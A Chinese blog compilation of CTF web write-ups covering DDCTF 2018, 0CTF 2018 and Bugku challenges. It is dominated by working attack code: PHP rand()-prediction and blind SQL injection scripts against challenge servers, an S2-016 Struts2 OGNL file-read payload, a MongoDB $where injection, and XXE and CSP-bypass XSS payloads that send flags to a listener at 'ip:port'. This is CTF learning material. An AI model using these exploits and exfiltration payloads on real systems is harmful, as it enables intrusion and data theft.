赛后复现
提示:www.tar.gz
根据提示能找到网站备份文件,下载后只有三个文件,从代码上并没有发现什么漏洞,而我们的目标是注册一个标志位是admin
的账号,其本身存在的admin
是个弱密码,但这个账号并没有admin的标志位,所以我们只能自己想办法注册一个。首先看看注册部分关键的代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31<?php
session_start();
include('config.php');
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) {
die("CSRF token error!");
}
$admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32);
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 32 || strlen($password) > 32) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
die('username has been registered');
}
if($code === $admin) {
$identity = "admin";
} else {
$identity = "guest";
}
....
可以看到我们只有让我们post的$code
与$admin
的值相等才能通过验证,而$admin
的值又是经过str_shuffle
随机打乱的32
个字符。而str_shuffle
的源码如下:
rand()
作为随机数产生器,从而打乱字符顺序,而rand()
产生的并不是真的
随机数而是个伪随机数。我们可以通过下面的公式去预测第32
位以后的随机数。1 | PHP_RAND_MAX = 2147483647 |
当我们知道了生成的随机数我们就能预测出str_shuffle
打乱的结果,最终在这道题中注册一个admin权限的账号。下面是payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68# -*- coding: utf-8 -*-
import requests
from bs4 import BeautifulSoup
PHP_RAND_MAX = 2147483647
url = 'http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/register.php'
sess = requests.session()
# num[n] = (num[n-3] + num[n-31]) mod (PHP_RAND_MAX)
def RAND_RANGE(__n, __min, __max, __tmax):
return (__min) + int(((__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))
# 仿照PHP版的shuffle
def shuffle(strs, tokens):
lens = len(strs)
strs = list(strs)
n_left = lens
i = 0
while (n_left > 0):
n_left -= 1
rnd_idx = tokens[i]
i += 1
rnd_idx = RAND_RANGE(rnd_idx, 0 ,n_left, PHP_RAND_MAX)
if (rnd_idx != n_left):
strs[rnd_idx], strs[n_left] = strs[n_left], strs[rnd_idx]
return ''.join(strs)
num = []
for i in range(32):
html = sess.get(url)
context = html.content
soup = BeautifulSoup(context, 'lxml')
csrf = soup.select('#csrf')[0].get('value')
if i == 31:
tmp = (num[i - 3] + num[i - 31]) % PHP_RAND_MAX
if tmp == int(csrf):
print('预测成功!')
else:
print('预测失败!')
exit(1)
num.append(int(csrf))
# 预测后面 62个
tokens = []
for i in range(32,94):
tmp = (num[i - 3] + num[i - 31]) % PHP_RAND_MAX
num.append(int(tmp))
tokens.append(int(tmp))
strs = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
code = shuffle(strs, tokens)[:32]
code = 'admin###' + code
print('预测code: ' + code)
print('预测csrf: ' + str(num[31]))
data = {
# 在访问第33次的时候CSRF应该是上一次的CSRF,也就是第32次,注意这里是从0开始
'csrf':num[31],
'username':'junay',
'password':'123',
'code':code
}
html = sess.post(url, data)
print(html.content)
上面的程序预测的时候有可能存在1/-1的误差,如果出现预测失败重新运行几次即可。
有了账号后,我们就能登录,然后审计登录后的代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16// index.php 截取关键代码
if(isset($_GET['id'])){
$id = addslashes($_GET['id']);
if(isset($_GET['title'])){
$title = addslashes($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
foreach ($pdo->query($sql) as $row) {
echo "<h1>".$row['title']."</h1><br>".$row['content'];
die();
}
}
这个代码中使用了存在漏洞的sprintf
函数,我们可以通过格式化漏洞绕过addslashes
。在格式化的时候sprintf支持填充,我们可以使用%1$'
绕过反斜杠。
1 | http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=Welcome%1$' union select 1,f14g,3 from `key` limit 0,1 -- + |
首先能在源代码中找到账号密码:
1 | // 解开后 |
使用这个账号密码我们能登录进后台,在后台里我们可以发现一个文件下载
的漏洞。1
2// url
http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/getInfomation?filename=informations/readme.txt
按照上次Java web的题目,我们开始找配置文件,比如:web.xml、applicationContext.xml等,但当我们找class
文件时,却没有收获,但是匹配文件中的包名给我思路。
GitHub
上搜了一下,果然找到了这个框架。地址:quick4j。然后按照这个项目的路径我们就能找到关键的类,最终能找到的文件差不多如下:
1 | package com.eliteams.quick4j.web.controller; |
所以我们下一步就需要访问nicaicaikan_url_23333_secret
,但是已经有的admin
账号并不是super_admin
,而且也没有注册账号的接口存在。这种情况下只能照着GitHub上的模板去翻其他文件,终于在SecurityRealm.java
中找到了线索:
hashCode()==0
,经过Google后,我们能在Stack Overflow找到一个答案:f5a5a608
。
登录后并没有发现特别的功能,但是代码里已经给了我们非常明显的提示:xxe
攻击,因为它自身并没有回显,所以我们需要找到一个支持xxe
外带数据的方法,解决方案就是:xxe oob
。我们先在自己服务器上放置evil.xml
,内容如下:1
2
3<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:port/%file;'>">
%int;
%send;
ps: 上面的port是nc监听的端口,接着构造payload:1
2
3
4
5
6
7
8<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % remote SYSTEM "http://ip:port/evil.xml">
%remote;
%all;
%send;
]>
发送过去:
1 | <?xml version="1.0"?> |
结果:
1 | <?xml version="1.0"?> |
提示:第二层关卡应用版本号为2.3.1
所以我们找找Struts2 2.3.1
版本的漏洞,此篇文章有较为详细的记载。
经过多次尝试后我们能利用的漏洞版本是S2-016
,接着再去找漏洞脚本,一个能用的payload如下:1
2
3
4
5
6
7<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action?redirect:${#a=new java.io.FileInputStream('/flag/flag.txt'),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[60],#c.read(#d),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#matt.println(#d),#matt.flush(),#matt.close()}">
<!ENTITY % dtd SYSTEM "http://ip:port/evil.xml">
%dtd;
%all;]>
<value>&send;</value>
IOException
,按照其他的writeup里的payload也是如此,这也有可能是环境问题导致的。
参考链接:
https://impakho.com/post/ddctf-2018-writeup
https://thief.one/2017/06/20/1/
http://www.freebuf.com/articles/web/97833.html
https://github.com/Eliteams/quick4j
这道题的writeup啃了一段时间,需要先入
的概念是:
下面是作者的调试代码,1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
console.log('=============================\n');
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
// 输出每步的替换结果
console.log('正在替换:' + k + ' -----> ' + req.body[k]);
console.log(check_function);
}
console.log(check_function);
var query = {"$where" : check_function};
console.log(query);
console.log('================================\n');
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send('ok');
// ... implementing, plz dont release this.
});
})
这里用到了LoRexxar’s Blog中使用的基于时间盲注
的方法,我们先看一下payload:1
|#|=&|this.*"\)|=&|==|[]=%7C%7Ceval(&%7C%22%22+%5C%5B%22%7C=a&%7Ca%22%7C=%2B&%7C%22%2B%7C=&%7C%22%22%5C%5D%2b%7C=aaaa&%7Caaaa%22%7C=%2B&%7C%5C)%7B%7C%5B%5D=bbb).match(/^1.*/i)){sleep(4000);}else{return%20&|\["|=&|""b|=%2b&|"bb|=&|return(\s.*)*0|=11111
首先我们先绕过正则
,我们可以通过|xxx|
来绕过左右两边的#
。比如提交|#|
,后台就变成#|#|#
,然后正则就会去匹配#
,然后把它替换,有了这一点这个payload就容易理解了。
而在这个payload中我们只需要不断的修改match(/^1.*/i)
进行匹配即可。我们先提交一下:
4s
,然后我们从控制台的输出信息里去理解这个payload的原理:
1 | ============================= |
有了上面的说明,再加上调试信息,我们就很容易理解这个payload了。
这道题跟强网杯的Share your mind
有点相似,它是考察RPO
,这里是CSP
,但是触发方法都是一样的,都是提交url后用xss bot
激发。
首先这个站点的功能如下:
/flag
下,但只有admin
才能查看,非常明显的xss
利用。
粗略
的攻击链
就出来了,我们在/new
里插入恶意xss
,然后在/submit
中提交恶意的url,这个url的目的就是让bot
访问/flag
,然后传回flag。
所以我们先找到一个xss
,经过探测我们可以发现在/new
下post请求里的effect
参数没有做任何过滤。插入的效果如下:
script
,但由于CSP
的保护,你的内嵌script
的不能执行了,所以就没有了弹窗。相应的CSP
如下:1 | Content-Security-Policy:script-src 'self' 'unsafe-inline' |
相关的script-src
值及其含义如下:1
2
3
4'unsafe-inline':允许执行页面内嵌的<script>标签和事件监听函数
unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数。
nonce值:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
hash值:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。
注意到这里的script-src: 'self','nonce-oPxSn4qhUHs6fU+ftUe/xpPI8WM='
,说明它只允许加载本站的script
,而且script
必须有一个token
,就例如:
script
才能被执行,而很明显,我们插入的script
并没有token
,所以也就无法执行了。
然而题目还是有解的,我们查看下article.js
:1
2
3$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});
可以发现这里存在动态
插入任意值的漏洞,所以,我们可以通过动态
插入script
标签来绕过CSP
。
effects
的定义可以在config.js
中找到
effects
的值,下面引用了lorexxar
师傅的原话:
在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签
也就是说,我们可以通过effects获取到<form name=effects>
这个标签。同理,我们就可以通过插入这个标签来注册effects这个变量。再看看这些js
文件的导入顺序,我们发现config.js
是第一个被导入的。
1 | id"><form name=effects id="<script>alert(1)</script>"><script> |
效果如下:
script
刚好把config.js
给闭合了,并且由于CSP
,闭合掉的script
标签没有token
并不能执行。再加上:1 | $("#effect").val() --> id |
所以成功的执行了弹窗测试。
接着就构造payload获取flag了,需要注意的一点是effect
参数最长只有70个字符,所以我们无法直接在/new
页面上获取到flag,这时候,我们在看/submit
里可以提交一个url,而http://202.120.7.197:8090/login?next=//www.baidu.com
是可以任意跳转的,所以我们可以让它跳转到自己的服务器上加载恶意代码,跟/new
打一个里应外合
。
首先我们构造出payload:1
effect=id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>
这里通过jquery get获取flag内容,通过箭头函数将返回赋值给window.name
。对于windos.name
的说明可以参考:
window.name(一般在js代码里出现)的值不是一个普通的全局变量,而是当前窗口的名字,这里要注意的是每个iframe都有包裹它的window,而这个window是top window的子窗口,而它自然也有window.name的属性,window.name属性的神奇之处在于name 值在不同的页面(甚至不同域名)加载后依旧存在(如果没修改则值不会变化),并且可以支持非常长的 name 值(2MB)。
然后我们在自己的服务器上放置如下html
:1
2
3
4
5<iframe src="http://202.120.7.197:8090/article/3788"></iframe>
<script>
setTimeout(()=>{frames[0].window.location.href='/'},1200)
setTimeout(()=>{location.href='http://ip:port/?'+frames[0].window.name},1500)
</script>
然后在相应的端口上做好监听,之后在/submit
提交你这个html文件的url地址。如:http://202.120.7.197:8090/login?next=//your_ip/evil.html
。
最后就能发现flag已经打到你的服务器上了。
http://www.ruanyifeng.com/blog/2016/09/csp.html
https://lorexxar.cn/2018/04/05/0ctf2018-blog/
https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup
题目描述:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
可以看到,这是X-Forwarded-For
的注入,而且过滤了逗号,
。在过滤了逗号的情况下,我们就不能使用if
语句了,在mysql中与if
有相同功效的就是:1
select case when xxx then xxx else xxx end;
而且由于逗号,
被过滤,我们就不能使用substr、substring
了,但我们可以使用:from 1 for 1
,所以最终我们的payload如下:1
127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +
相应的python代码为:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23# -*- coding:utf-8 -*-
import requests
import sys
# 基于时间的盲注,过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://120.24.86.145:8002/web15/'
flag = ''
for i in range(1, 40):
print('正在猜测:', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break
跑出flag:flag{cdbf14c9551d5be5612f7bb5d2867853}
打开网站后进行抓包,进过测试后发现是基于时间的盲注
,POC:aaa" or sleep(5) -- +
。所以写个脚本跑一下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223# -*- coding:utf-8 -*-
import requests
'''
这篇POC: aaa" or sleep(5) -- +
源于Bugku:http://120.24.86.145:9001/sql/
场景:登陆框基于时间的盲注
'''
url = 'http://120.24.86.145:9001/sql/'
def fuzz(sql, test, pos1, pos2, tmp):
left = 32
right = 127
while True:
mid = (left + right) // 2
print('正在测试字符:' + str(mid) + ' ----> ' + chr(mid))
test3 = test.format(pos1-1, pos2, mid)
params = {
'admin_name': 'admin',
'admin_passwd': test3,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
except:
tmp += chr(mid)
return tmp
sqli = sql.format(pos1-1, pos2, mid)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
right = mid
except:
left = mid
# database = ''
# sql = "1\" or if(ascii(substr(database(),{0},1))>{1},sleep(5),0) -- +"
# test = "1\" or if(ascii(substr(database(),{0},1))={1},sleep(5),0) -- +"
# for pos in range(1, 50):
# # 测试length(database()),一旦超过长度则不用再执行。
# is_end = sql.format(pos, 1)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': is_end,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# print('======================')
# print('[*]database: ', database)
# print('======================\n')
# break
# except:
# pass
#
# left = 32
# right = 127
# while True:
# mid = (left + right) // 2
# # print('正在测试字符:', str(mid))
# test3 = test.format(pos, mid)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': test3,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# except:
# database += chr(mid)
# print('[+]database: ', database)
# break
#
# sqli = sql.format(pos, mid)
# params = {
# 'admin_name': 'admin',
# 'admin_passwd': sqli,
# 'submit': 'GO+GO+GO'
# }
# try:
# html = requests.post(url, params, timeout=3)
# right = mid
# except:
# left = mid
tables_name = {}
sql = "1\" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))={2},sleep(5),0) -- +"
for table_num in range(1, 20):
sqli = sql.format(table_num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他表!')
break
except:
print('[+]正在爆破表', str(table_num))
table = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(table_num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]table: ', table)
tables_name[table_num] = table
print('======================\n')
break
except:
pass
table = fuzz(sql, test, table_num, str_num, table)
print('[+]table: ', table)
print('******************')
for key in tables_name:
print('[*]table' + str(key) + ': ' + tables_name[key])
print('******************\n')
tb = int(input('>请选择需要爆破的表(数字):'))
# for tb in tables_name:
sql = "1\" or if((ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr((select column_name from information_schema.columns where table_name='" + tables_name[tb]+ "' limit {0},1),{1},1)))={2},sleep(5),0) -- +"
colunms_name = {}
for column_num in range(1, 20):
sqli = sql.format(column_num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他字段!')
break
except:
print('[+]正在爆破字段', str(column_num))
column = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(column_num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]column: ', column)
colunms_name[column_num] = column
print('======================\n')
break
except:
pass
column = fuzz(sql, test, column_num, str_num, column)
print('[+]column: ', column)
print('******************')
for key in colunms_name:
print('[*]column' + str(key) + ': ' + colunms_name[key])
print('******************\n')
cl = int(input('>请选择需要爆破的字段(数字):'))
sql = "1\" or if((ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))>{2},sleep(5),0) -- +"
test = "1\" or if((ascii(substr(( select " + colunms_name[cl] + " from " + tables_name[tb]+ " limit {0},1),{1},1)))={2},sleep(5),0) -- +"
key = []
for num in range(1, 20):
sqli = sql.format(num - 1, 1, 1)
params = {
'admin_name': 'admin',
'admin_passwd': sqli,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('[*]已无其他数据!')
break
except:
print('[+]正在爆破数据', str(num))
tmp_key = ''
for str_num in range(1, 50):
# 测试length(database()),一旦超过长度则不用再执行。
test2 = sql.format(num - 1, str_num, 1)
params = {
'admin_name': 'admin',
'admin_passwd': test2,
'submit': 'GO+GO+GO'
}
try:
html = requests.post(url, params, timeout=3)
print('======================')
print('[*]column: ', tmp_key)
key.append(tmp_key)
print('======================\n')
break
except:
pass
tmp_key = fuzz(sql, test, num, str_num, tmp_key)
print('[+]key: ', tmp_key)
print('******************')
for tt in key:
print('[*]key: ' + tt)
print('******************\n')
打开网页后在?id=1
后面加个'
号,发现错误,然后再添加一个'
,发现可以闭合。
and or &&
被过滤掉了,但||
和位注入| ^
没有被过滤。当使用?id=0' || 1=2 -- +
时是返回错误,而?id=0' || 1=1 -- +
返回了正确,所以这里存在注入。这里值得注意的是,我使用id=0
而不是id=1
等非0
值,这是因为任何大于0
的数进行||
都会返回真
。
异或
进行注入,如:?id=0' ^ (1=2) ^ '
。
and
的时候发现是返回了错误,所以猜测后台过滤了一些字符,所以可以使用?id=0' || length('and')=0 -- +
检查一下过滤了的函数,如:
0' || length('aandnd')=3 -- +
返回真。
?id=1' oorrder by 2 -- +
,可以发现字段数为2
。
?id=-1' uniounionn seleselectct 1,2 -- +
。
ununionion seleselectct 1,table_name from infoorrmation_schema.tables where table_schema=database() limit 0,1-- +
flag1、hint
,两张表。ununionion seleselectct 1,column_name from infoorrmation_schema.columns where table_name=0x666c616731 limit 0,1-- +
flag1、address
。然后查询flag:ununionion seleselectct 1,flag1 from flag1 -- +
address
是什么。
探测
,最后我们能发现双写
已经不能绕过了,但是却没有过滤if left benchmark select from
函数,所以,我们可以使用基于时间的盲注
进行注入。payload:1 | ?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='a', benchmark(7000000,MD5(14545)), 0) %23 |
剩下的爆字段跟值就不一一写了,这里直接写了个脚本:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23# -*- coding:utf-8 -*-
from time import sleep
import requests
url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0})='{1}', benchmark(7000000,MD5(14545)), 0) %23"
# url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select column_name from information_schema.columns where table_name=0x666c616732 limit 0,1),{0})='{1}', benchmark(7000000,MD5(14545)), 0) %23"
# url = "http://120.24.86.145:9004/Once_More.php?id=1' and if(left((select flag2 from flag2),{0})='{1}', benchmark(40000000,MD5(14545)), 0) %23"
database = ''
for i in range(28, 50):
for j in range(32, 128):
tmp = database + chr(j)
print('正在尝试:', tmp)
urli = url.format(i, tmp)
# print(urli)
try:
html = requests.get(urli, timeout=3)
except:
database += chr(j)
print('[+]column: ', database)
break
print(database)
只要把payload一换就可以使用,不过可能需要多次执行。最终flag:flag{bugku-sql_6s-2i-4t-bug}
,这里要说的就是left
在比较的时候是不区分大小写的,所以一般flag要么大写要么小写,而这道题原本的flag把bugku
中的b
弄成了大写B
,所以一开始提交答案不对,后来经过跟管理员联系后,管理员就把flag都改成小写了。
这里的另一种解法就是使用locate()
进行bool型
注入,payload:id=1' and (select LOCATE('a',(select flag2 from flag2)))=1 -- +
,这里需要变的就是locate()
的第一个
参数,后面的1
不要变,因为它返回的是第一个字符串参数
出现在第二个字符串参数
中的位置,我们把它置为1
就是希望从头开始爆破。脚本如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15# -*- coding:utf-8 -*-
import requests
url = "http://120.24.86.145:9004/Once_More.php?id=1' and (select LOCATE('{}',(select flag2 from flag2)))=1 -- +"
database = ''
for i in range(1, 50):
for j in range(32, 128):
tmp = database + chr(j)
print('正在尝试:', tmp)
urli = url.format(tmp)
html = requests.get(urli)
if 'Hello' in html.text:
database += chr(j)
print('[+]key: ', database)
break
此篇文章记录bugku中作者觉得比较有价值
的writeup。
将压缩包下载后可以发现一个flag文件,拿到010Editor
查找flag却没有任何发现,后来使用winhex
查找flag,发现了flag.txt,但这并没有什么用,所以再次查找key,此时就能找到flag。
flag:key{feb81d3834e2423c9903f4755464060b}
下载压缩文件后可以发现是wireshark的捕获包
,使用wireshark分析,追踪TCP流可以发现有一段流比较奇怪。
灰色(传输稳定)
的状态,选择一条,然后追踪TCP流,1 | 给你点提示吧:key的格式是KEY{} |
使用strings brave分析文件
。gb2312
,所以考虑宽字节注入
,。1 | POC: id=1%df%27 and 1=1 -- + |
key
使用反引号包围,即`key`。最终得到flag。sqlmap进行宽字节注入
的payload如下:1 | python2 sqlmap.py -u http://103.238.227.13:10083/?id=1%df%27 |
C:\Windows\System32\drivers\etc
下的hosts文件,注意要用管理员身份修改。题目描述:
访问参数为:?id=x
查找表为key的数据表,id=1值hash字段值
过滤代码1
2
3
4
5
6
7
8
9
10
11
12
13
14//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字!'.$value);
}
}
//xss过滤
$id = strip_tags($id);
$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
可以看出过滤得很严格,但致命的缺陷是$id = strip_tags($id);
,它给了我们一丝可乘之机。strip_tags
可以过滤掉html、xml、php中的标签,比如将a<
a>
nd过滤成and。
所以payload:1
http://103.238.227.13:10087/?id=-1 u<a>nion se<a>lect hash,2 f<a>rom `key` where id=1 -- +
flag: KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}
题目描述:1
2
3
4
5
6
7echo '2333,不只是本地文件包含哦~'; <?php
include "waf.php";
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
这里一开始踏进了一个坑,测试的时候使用了1)";echo 111;//
,但没有任何回显。
"
是多余的。eval()
中可以使用print_r(file("xxx"))
的形式读取文件,所以payload就是:1);print_r(file("flag.php"));//
题目描述:1
2
3
4
5
6
7
8
9
10
11
12
13flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
这里由于正则只匹配字母,不允许有;
之类的符号出现,所以用上一道题的payload是没法获得flag的。但好在存在$$args
,可以为我们打开另一道窗。
这里介绍一个php中的特殊变量: $GLOBALS
,它的作用如下:
$GLOBALS
输出flag的值,故payload:http://120.24.86.145:8004/index1.php?args=GLOBALS
。题目描述:
http://120.24.86.145:8002/web16/
听说备份是个好习惯
访问index.php.bak可以下载源码1
2
3
4
5
6
7
8
9
10
11
12
13
14<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
这里说下$_SERVER['REQUEST_URI']
和parse_str($str)
的作用,1
2
3
4
5
6
7
8访问:http://localhost/aaa/?p=222
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";
<?php
parse_str("name=Bill&age=60");
echo $name."<br>"; // Bill
echo $age; // 60
?>
接下来介绍两个绕过md5检查的方法
false(null?)
,false==false
无疑是成立的,所以可以构造?a[]=1&b[]=2
之类的方法绕过检查。所以,payload1如下:?key1=QNKCDZO&key2=240610708
。题目描述:
亲请在2s内计算老司机的车速是多少
1741242492-1033554030-217864531-2107975482+1148641444-1741096300+174362695137826373521637778+861571530+717037212=?;
附上python脚本如下,这里重要的函数是eval()
:1
2
3
4
5
6
7
8
9
10
11
12
13
14# -*- coding:utf-8 -*-
import requests
from bs4 import BeautifulSoup
url='http://120.24.86.145:8002/qiumingshan/'
r=requests.session()
requestpage = r.get(url)
soup = BeautifulSoup(requestpage.content, 'lxml')
ans=soup.select('div')[0].get_text()[:-3]
print(ans)
post=eval(ans)#计算表达式的值
data={'value':post}#构造post的data部分
flag=r.post(url,data=data)
print(flag.text)
题目描述:
margin
,这是一个数字,这也是后面的一个小坑。1 | # -*- coding:utf-8 -*- |
数字
。这场CTF由于时间紧张,所以只做了web题,比赛中也只做出两题,其余两题为比赛结束后参考writeup进行复现并记录。
owasp zap
抓包看一下,也正是这个工具在这题中运用得比较好。很容易就看到了flag。
还没验证账号是否正确
的情况下将identifier存入$_SESSION[‘id’]。
返回错误
,但在上面已经提到,它是在验证前
就更新了$_SESSION[‘id’]。
admin
。最终拿到flag。
这道题比赛时也没解出来,现在拿着writeup复现一下。
文件包含
,但将常见的文件包含跟绕过试了一遍都没有
结果。所以这道题就进展不下去。
看到writeup后才发现关键点不在这个url,在查看网页源代码
的时候会发现两个带下划线
的url,经自己不成熟总结,一般这样的链接都有猫腻。。。
而且可以发现标题的图标也一直在变,仿佛在提醒你。。。
id=x
代入,并且查看源代码时,你就会发现hint。
能包含php
。所以查看index.php的代码。
不能包含txt文件
,所以只能回到file包含里。然后构造payload:1 | .....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d |
1 | Poc:1' or 1=1 -- +(返回正确);1' or 1=2 -- +(返回错误) |
说明有注入,再进一步可以测出是盲注
。
其实,你测到后面会发现,题干中已经给了你表名,字段了。
1 | 查询数据库长度: |
所以最终的Payload:1
1' or (ascii(substr(( select username from users limit 0,1),1,1)))>68 -- +
注入出username字段的值就是admin
。
再将password注入出来,Payload:1
1' or (ascii(substr(( select password from users limit 0,1),1,1)))>68 -- +
所以最终flag:pctf{L31‘s~@Ll_h4il-1h3-c4T_Qu33n.?}
Update your browser to view this website correctly. Update my browser now